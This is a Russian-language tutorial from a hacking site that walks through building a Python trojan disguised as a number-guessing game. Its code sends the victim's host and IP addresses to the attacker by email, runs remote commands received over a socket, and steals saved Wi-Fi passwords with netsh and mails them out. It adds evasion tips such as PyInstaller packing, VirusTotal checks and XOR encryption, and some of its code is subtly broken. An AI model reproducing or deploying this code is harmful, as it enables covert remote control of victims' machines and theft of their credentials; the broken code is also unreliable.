Как написать троян на Python

Как написать троян на Python

В этой статье я рас­ска­жу, как написать простой троян на Python с уда­лен­ным дос­тупом, а для боль­шей скрыт­ности мы встро­им его в игру. Даже если вы не зна­ете Python, то смо­жете луч­ше понять, как устро­ены такие вре­доно­сы, и поуп­ражнять­ся в прог­рамми­рова­нии.

Еще по теме: Как написать вирус на Python

Ко­неч­но, при­веден­ные в статье скрип­ты совсем не годят­ся для исполь­зования в боевых усло­виях: обфуска­ции в них нет, прин­ципы работы прос­ты как пал­ка, а вре­донос­ные фун­кции отсутс­тву­ют вовсе. Тем не менее при желании их воз­можно исполь­зовать для нес­ложных пакос­тей или приколов.

Как написать троян на Python

Итак, что есть тро­ян? Вирус — это прог­рамма, глав­ная задача которой — самоко­пиро­вание. Червь активно рас­простра­няет­ся по сети (типич­ный при­мер — «Петя» и WannaCry), а тро­ян — скры­тая вре­донос­ная прог­рамма, которая мас­киру­ется под «хороший» софт и шпионить за пользователем. Подробнее о троянах в статье «Что такое RAT».

Ло­гика подоб­ного зараже­ния в том, что поль­зователь сам ска­чает себе вре­донос на компь­ютер (нап­ример, под видом кряк­нутой прог­раммы), сам отклю­чит защит­ные механиз­мы (ведь прог­рамма выг­лядит хорошей) и захочет оста­вить надол­го.

Хакеры и тут не дрем­лют, так что в новос­тях то и дело мель­кают сооб­щения о новых жер­твах пират­ско­го ПО и о шиф­роваль­щиках, поража­ющих любите­лей халявы. Но мы‑то зна­ем, что бес­плат­ный сыр быва­ет толь­ко в мусор­ке, и сегод­ня научим­ся очень прос­то начинять тот самый сыр чем‑то не впол­не ожи­даемым.

Вся информа­ция пре­дос­тавле­на исклю­читель­но в озна­коми­тель­ных целях. Ни автор статьи, ни редак­ция сайта spy-soft.net не несут ответс­твен­ности за любой воз­можный вред, при­чинен­ный данным матери­ало­м. Несан­кци­они­рован­ный дос­туп к информа­ции и наруше­ние работы сис­тем могут прес­ледовать­ся по закону. Не забывайте об этом!

Определение IP-адреса

Для начала нам (то есть нашему тро­яну) нуж­но понять, где он ока­зал­ся. Важ­ная часть вашей информа­ции — IP-адрес, по которо­му с заражен­ной машиной мож­но будет соеди­нить­ся в даль­нейшем.

Нач­нем писать код. Сра­зу импорти­руем биб­лиоте­ки:

import socket
from requests import get

Обе биб­лиоте­ки не пос­тавля­ются с Python, поэто­му, если они у вас отсутс­тву­ют, их нуж­но уста­новить коман­дой pip.

pip install socket
pip install requests
Ес­ли вы видите ошиб­ку, что у вас отсутс­тву­ет pip, сна­чала нуж­но уста­новить его с сай­та pypi.org. Любопыт­но, что рекомен­дуемый спо­соб уста­нов­ки pip — через pip, что, конеч­но, очень полез­но, ког­да его нет.

Код получе­ния внеш­него и внут­ренне­го адре­сов будет таким. Обра­тите вни­мание, что, если у жер­твы нес­коль­ко сетевых интерфей­сов (нап­ример, WiFi и Ethernet одновре­мен­но), этот код может вес­ти себя неп­равиль­но.

# Определяем имя устройства в сети
hostname = socket.gethostname()
# Определяем локальный (внутри сети) IP-адрес
local_ip = socket.gethostbyname(hostname)
# Определяем глобальный (публичный / в интернете) IP-адрес
public_ip = get('http://api.ipify.org').text

Ес­ли с локаль­ным адре­сом все более‑менее прос­то — находим имя устрой­ства в сети и смот­рим IP по име­ни устрой­ства, — то вот с пуб­личным IP все несколько слож­нее.

Я выб­рал сайт api.ipify.org, так как на выходе нам выда­ется толь­ко одна стро­ка — наш внеш­ний IP. Из связ­ки пуб­личный + локаль­ный IP мы получим поч­ти точ­ный адрес устрой­ства.

Вы­вес­ти информа­цию еще про­ще:

print(f'Хост: {hostname}')
print(f'Локальный IP: {local_ip}')
print(f'Публичный IP: {public_ip}')

Ни­ког­да не встре­чал конс­трук­ции типа print(f'{}')? Бук­ва f озна­чает фор­матиро­ван­ные стро­ковые литера­лы. А по простому — прог­рам­мные встав­ки пря­мо в стро­ку.

Стро­ковые литера­лы не толь­ко хорошо смот­рятся в коде, но и помога­ют избе­гать оши­бок типа сло­жения строк и чисел (Python — это вам на JavaScript!).

Фи­наль­ный код:

import socket
from requests import get
hostname = socket.gethostname()
local_ip = socket.gethostbyname(hostname)
public_ip = get('http://api.ipify.org').text
print(f'Хост: {hostname}')
print(f'Локальный IP: {local_ip}')
print(f'Публичный IP: {public_ip}')

За­пус­тив этот скрипт, мы смо­жем опре­делить IP-адрес нашего (или чужого) компь­юте­ра.

Бэкконнект по почте

Те­перь напишем скрипт, который будет при­сылать нам пись­мо.

Им­порт новых биб­лиотек (обе нуж­но пред­варитель­но пос­тавить через pip install):

import smtplib as smtp
from getpass import getpass

Пи­шем базовую информа­цию о себе:

# Почта, с которой будет отправлено письмо
email = 'demo@spy-soft.net'
# Пароль от нее (вместо ***)
password = '***'
# Почта, на которую отправляем письмо
dest_email = 'demo@spy-soft.net'
# Тема письма
subject = 'IP'
# Текст письма
email_text = 'TEXT'

Даль­ше сфор­миру­ем пись­мо:

message = 'From: {}\nTo: {}\nSubject: {}\n\n{}'.format(email, dest_email, subject, email_text)

Пос­ледний штрих — нас­тро­ить под­клю­чение к поч­товому сер­вису. Я поль­зуюсь Яндекс.Поч­той, поэто­му нас­трой­ки выс­тавлял для нее.

server = smtp.SMTP_SSL('smtp.yandex.com') # SMTP-сервер Яндекса
server.set_debuglevel(1) # Минимизируем вывод ошибок (выводим только фатальные ошибки)
server.ehlo(email) # Отправляем hello-пакет на сервер
server.login(email, password) # Заходим на почту, с которой будем отправлять письмо
server.auth_plain() # Авторизуемся
server.sendmail(email, dest_email, message) # Вводим данные для отправки (адреса свой и получателя и само сообщение)
server.quit() # Отключаемся от сервера

В стро­ке server.ehlo(email) мы исполь­зуем коман­ду EHLO. Боль­шинс­тво сер­веров SMTP под­держи­вают ESMTP и EHLO. Если сер­вер, к которо­му вы пыта­етесь под­клю­чить­ся, не под­держи­вает EHLO, мож­но исполь­зовать HELO.

Пол­ный код этой час­ти тро­яна:

import smtplib as smtp
import socket
from getpass import getpass
from requests import get
hostname = socket.gethostname()
local_ip = socket.gethostbyname(hostname)
public_ip = get('http://api.ipify.org').text
email = 'demo@spy-soft.net'
password = '***'
dest_email = 'demo@spy-soft.net'
subject = 'IP'
email_text = (f'Host: {hostname}\nLocal IP: {local_ip}\nPublic IP: {public_ip}')
message = 'From: {}\nTo: {}\nSubject: {}\n\n{}'.format(email, dest_email, subject, email_text)
server = smtp.SMTP_SSL('smtp.yandex.com')
server.set_debuglevel(1)
server.ehlo(email)
server.login(email, password)
server.auth_plain()
server.sendmail(email, dest_email, message)
server.quit()

После запуска скрипта, получа­ем пись­мо.

Пись­мо с IP жертвы
Пись­мо с IP

Этот скрипт я про­верил на VirusTotal. Резуль­тат на скри­не.

Написание трояна на Python

Создание трояна на Python

По задум­ке, тро­ян пред­став­ляет собой кли­ент‑сер­верное при­ложе­ние с кли­ентом на машине ата­куемо­го и сер­вером на запус­кающей машине. Дол­жен быть реали­зован мак­сималь­ный уда­лен­ный дос­туп к сис­теме.

Как обыч­но, нач­нем с биб­лиотек:

import random
import socket
import threading
import os

Для начала напишем игру «Уга­дай чис­ло». Тут все край­не прос­то, поэто­му задер­живать­ся дол­го не буду.

# Создаем функцию игры
def game():
    # Берем случайное число от 0 до 1000
    number = random.randint(0, 1000)
    # Счетчик попыток
    tries = 1
    # Флаг завершения игры
    done = False
    # Пока игра не закончена, просим ввести новое число
    while not done:
        guess = input('Введите число: ')
        # Если ввели число
        if guess.isdigit():
            # Конвертируем его в целое
            guess = int(guess)
            # Проверяем, совпало ли оно с загаданным; если да, опускаем флаг и пишем сообщение о победе
            if guess == number:
                done = True
                print(f'Ты победил! Я загадал {guess}. Ты использовал {tries} попыток.')
            # Если же мы не угадали, прибавляем попытку и проверяем число на больше/меньше
            else:
                tries += 1
                if guess > number:
                    print('Загаданное число меньше!')
                else:
                    print('Загаданное число больше!')
        # Если ввели не число — выводим сообщение об ошибке и просим ввести число заново
        else:
            print('Это не число от 0 до 1000!')
За­чем столь­ко слож­ностей с про­вер­кой на чис­ло? Мож­но было прос­то написать guess = int(input('Введите число: ')). Если бы мы написа­ли так, то при вво­де чего угод­но, кро­ме чис­ла, выпада­ла бы ошиб­ка, а это­го допус­тить нель­зя, так как ошиб­ка зас­тавит прог­рамму оста­новить­ся и обру­бит соеди­нение.

Вот код нашего тро­яна. Ниже мы будем раз­бирать­ся, как он работа­ет, что­бы не про­гова­ривать заново базовые вещи.

# Создаем функцию трояна
def trojan():
    # IP-адрес атакуемого
    HOST = '192.168.2.112'
    # Порт, по которому мы работаем
    PORT = 9090
    # Создаем эхо-сервер
    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    client.connect((HOST, PORT))
    while True:
        # Вводим команду серверу
        server_command = client.recv(1024).decode('cp866')
        # Если команда совпала с ключевым словом 'cmdon', запускаем режим работы с терминалом
        if server_command == 'cmdon':
            cmd_mode = True
            # Отправляем информацию на сервер
            client.send('Получен доступ к терминалу'.encode('cp866'))
            continue
        # Если команда совпала с ключевым словом 'cmdoff', выходим из режима работы с терминалом
        if server_command == 'cmdoff':
            cmd_mode = False
        # Если запущен режим работы с терминалом, вводим команду в терминал через сервер
        if cmd_mode:
            os.popen(server_command)
        # Если же режим работы с терминалом выключен — можно вводить любые команды
        else:
            if server_command == 'hello':
                print('Hello World!')
        # Если команда дошла до клиента — выслать ответ
        client.send(f'{server_command} успешно отправлена!'.encode('cp866'))

Сна­чала нуж­но разоб­рать­ся, что такое сокет и с чем его едят. Сокет прос­тым язы­ком — это условная вил­ка или розет­ка для прог­рамм. Сущес­тву­ют кли­ент­ские и сер­верные сокеты: сер­верный прос­лушива­ет опре­делен­ный порт (розет­ка), а кли­ент­ский под­клю­чает­ся к сер­веру (вил­ка). Пос­ле того как уста­нов­лено соеди­нение, начина­ется обмен дан­ными.

Итак, стро­ка client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) соз­дает эхо‑сер­вер (отпра­вили зап­рос — получи­ли ответ). AF_INET озна­чает работу с IPv4-адре­саци­ей, а SOCK_STREAM ука­зыва­ет на то, что мы исполь­зуем TCP-под­клю­чение вмес­то UDP, где пакет посыла­ется в сеть и далее не отсле­жива­ется.

Стро­ка client.connect((HOST, PORT)) ука­зыва­ет IP-адрес хос­та и порт, по которым будет про­изво­дить­ся под­клю­чение, и сра­зу под­клю­чает­ся.

Фун­кция client.recv(1024) при­нима­ет дан­ные из сокета и явля­ется так называ­емым «бло­киру­ющим вызовом». Смысл такого вызова в том, что, пока коман­да не передас­тся или не будет отвер­гну­та дру­гой сто­роной, вызов будет про­дол­жать выпол­нять­ся. 1024 — это количес­тво задей­ство­ван­ных бай­тов под буфер при­ема.

Нель­зя будет при­нять боль­ше 1024 байт (1 Кбайт) за один раз, но нам это и не нуж­но: час­то вы руками вво­дите в кон­соль боль­ше 1000 сим­волов? Пытать­ся мно­гок­ратно уве­личить раз­мер буфера не нуж­но — это зат­ратно и бес­полез­но, так как нужен боль­шой буфер при­мер­но раз в никог­да.

Ко­ман­да decode('cp866') декоди­рует получен­ный бай­товый буфер в тек­сто­вую стро­ку сог­ласно задан­ной кодиров­ке (у нас 866). Но почему имен­но cp866? Зай­дем в коман­дную стро­ку и вве­дем коман­ду chcp.

Те­кущая кодовая стра­ница
Те­кущая кодовая стра­ница

Ко­диров­ка по умол­чанию для рус­ско­гово­рящих устрой­ств — 866, где кирил­лица добав­лена в латини­цу. В англо­языч­ных вер­сиях сис­темы исполь­зует­ся обыч­ный Unicode, то есть utf-8 в Python. Мы же говорим на рус­ском язы­ке, так что под­держи­вать его нам прос­то необ­ходимо.

При желании кодиров­ку мож­но поменять в коман­дной стро­ке, наб­рав пос­ле chcp ее номер. Юни­код име­ет номер 65001.

При при­еме коман­ды нуж­но опре­делить, не слу­жеб­ная ли она. Если так, выпол­няем опре­делен­ные дей­ствия, ина­че, если вклю­чен тер­минал, перенап­равля­ем коман­ду туда. Недос­таток — резуль­тат выпол­нения так и оста­ется необ­работан­ным, а его хорошо бы отправ­лять нам. Это будет вам домаш­ним задани­ем: реали­зовать эту фун­кцию мож­но от силы минут за пят­надцать, даже если гуг­лить каж­дый шаг.

Ре­зуль­тат про­вер­ки кли­ента на VirusTotal порадо­вал.

Создание трояна на Питон

Ба­зовый тро­ян написан, и сей­час мож­но сде­лать очень мно­гое на машине ата­куемо­го, ведь у нас дос­туп к коман­дной стро­ке. Но почему бы нам не рас­ширить набор фун­кций? Давайте еще пароли от WiFi!

Создание WiFi-стилера на Python

За­дача — соз­дать скрипт, который из коман­дной стро­ки узна­ет все пароли от дос­тупных сетей Wi-Fi.

Прис­тупа­ем. Импорт биб­лиотек:

import subprocess
import time

Мо­дуль subprocess нужен для соз­дания новых про­цес­сов и соеди­нения с потока­ми стан­дар­тно­го вво­да‑вывода, а еще для получе­ния кодов воз­вра­та от этих про­цес­сов.

Итак, скрипт для извле­чения паролей WiFi:

# Создаем запрос в командной строке netsh wlan show profiles, декодируя его по кодировке в самом ядре
data = subprocess.check_output(['netsh', 'wlan', 'show', 'profiles']).decode('cp866').split('\n')
# Создаем список всех названий всех профилей сети (имена сетей)
Wi-Fis = [line.split(':')[1][1:-1] for line in data if "Все профили пользователей" in line]
# Для каждого имени...
for Wi-Fi in Wi-Fis:
    # ...вводим запрос netsh wlan show profile [ИМЯ_Сети] key=clear
    results = subprocess.check_output(['netsh', 'wlan', 'show', 'profile', Wi-Fi, 'key=clear']).decode('cp866').split('\n')
    # Забираем ключ
    results = [line.split(':')[1][1:-1] for line in results if "Содержимое ключа" in line]
    # Пытаемся его вывести в командной строке, отсекая все ошибки
    try:
        print(f'Имя сети: {Wi-Fi}, Пароль: {results[0]}')
    except IndexError:
        print(f'Имя сети: {Wi-Fi}, Пароль не найден!')

Вве­дя коман­ду netsh wlan show profiles в коман­дной стро­ке, мы получим сле­дующее.

netsh wlan show profiles
netsh wlan show profiles

Ес­ли рас­парсить вывод выше и под­ста­вить имя сети в коман­ду netsh wlan show profile [имя сети] key=clear, резуль­тат будет как на кар­тинке. Его мож­но разоб­рать и вытащить пароль от сети.

netsh wlan show profile ASUS key=clear
netsh wlan show profile ASUS key=clear
RAT Python. Результат VirusTotal
Результат VirusTotal

Ос­талась одна проб­лема: наша изна­чаль­ная задум­ка была заб­рать пароли себе, а не показы­вать их поль­зовате­лю. Испра­вим же это.

До­пишем еще один вари­ант коман­ды в скрипт, где обра­баты­ваем наши коман­ды из сети.

if server_command == 'Wi-Fi':
    data = subprocess.check_output(['netsh', 'wlan', 'show', 'profiles']).decode('cp866').split('\n')
    Wi-Fis = [line.split(':')[1][1:-1] for line in data if "Все профили пользователей" in line]
    for Wi-Fi in Wi-Fis:
        results = subprocess.check_output(['netsh', 'wlan', 'show', 'profile', Wi-Fi, 'key=clear']).decode('cp866').split('\n')
        results = [line.split(':')[1][1:-1] for line in results if "Содержимое ключа" in line]
        try:
            email = 'mail@yandex.ru'
            password = '***'
            dest_email = 'demo@demo.ru'
            subject = 'Wi-Fi'
            email_text = (f'Name: {Wi-Fi}, Password: {results[0]}')
            message = 'From: {}\nTo: {}\nSubject: {}\n\n{}'.format(email, dest_email, subject, email_text)
            server = smtp.SMTP_SSL('smtp.yandex.com')
            server.set_debuglevel(1)
            server.ehlo(email)
            server.login(email, password)
            server.auth_plain()
            server.sendmail(email, dest_email, message)
            server.quit()
        except IndexError:
            email = 'mail@yandex.ru'
            password = '***'
            dest_email = 'demo@demo.ru'
            subject = 'Wi-Fi'
            email_text = (f'Name: {Wi-Fi}, Password not found!')
            message = 'From: {}\nTo: {}\nSubject: {}\n\n{}'.format(email, dest_email, subject, email_text)
            server = smtp.SMTP_SSL('smtp.yandex.com')
            server.set_debuglevel(1)
            server.ehlo(email)
            server.login(email, password)
            server.auth_plain()
            server.sendmail(email, dest_email, message)
            server.quit()
Этот скрипт прост как два руб­ля и ожи­дает уви­деть рус­ско­языч­ную сис­тему. На дру­гих язы­ках это не сра­бота­ет, но испра­вить поведе­ние скрип­та мож­но прос­тым выбором раз­делите­ля из сло­варя, где ключ — обна­ружен­ный на компь­юте­ре язык, а зна­чение — тре­буемая фра­за на нуж­ном язы­ке.

Все коман­ды это­го скрип­та уже под­робно разоб­раны, так что я не буду пов­торять­ся, а прос­то покажу скрин­шот из сво­ей поч­ты.

Троян на Python отработал
Троян на Python отработал

Доработки

Ко­неч­но, тут мож­но дорабо­тать при­мер­но все — от защиты канала переда­чи до защиты самого кода нашего вре­доно­са. Методы свя­зи с управля­ющи­ми сер­верами зло­умыш­ленни­ка тоже обыч­но исполь­зуют­ся дру­гие, а работа вре­доно­са не зависит от язы­ка опе­раци­онной сис­темы.

И конеч­но, сам троян очень желатель­но упа­ковать с помощью PyInstaller, что­бы не тянуть с собой на машину жер­твы питон и все зависи­мос­ти. Игра, которая тре­бует для работы уста­новить модуль для работы с поч­той, — что может боль­ше вну­шать доверие?

Заключение

Се­год­няшний тро­ян нас­толь­ко прост, что его никак нель­зя наз­вать боевым. Тем не менее он полезен для изу­чения основ язы­ка Python и понима­ния алго­рит­мов работы более слож­ных вре­донос­ных прог­рамм. Мы наде­емся, что вы ува­жаете закон, а получен­ные зна­ния о тро­янах вам никог­да не понадо­бят­ся.

В качес­тве домаш­него задания рекомен­дую поп­робовать реали­зовать двус­торон­ний тер­минал и шиф­рование дан­ных хотя бы с помощью XOR. Такой тро­ян уже будет куда инте­рес­нее, но, безус­ловно, исполь­зовать его in the wild мы не при­зыва­ем. Будьте акку­ратны и не делайте глупостей!

Еще по теме: Как создать троян для Android

ВКонтакте
OK
Telegram
WhatsApp
Viber

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *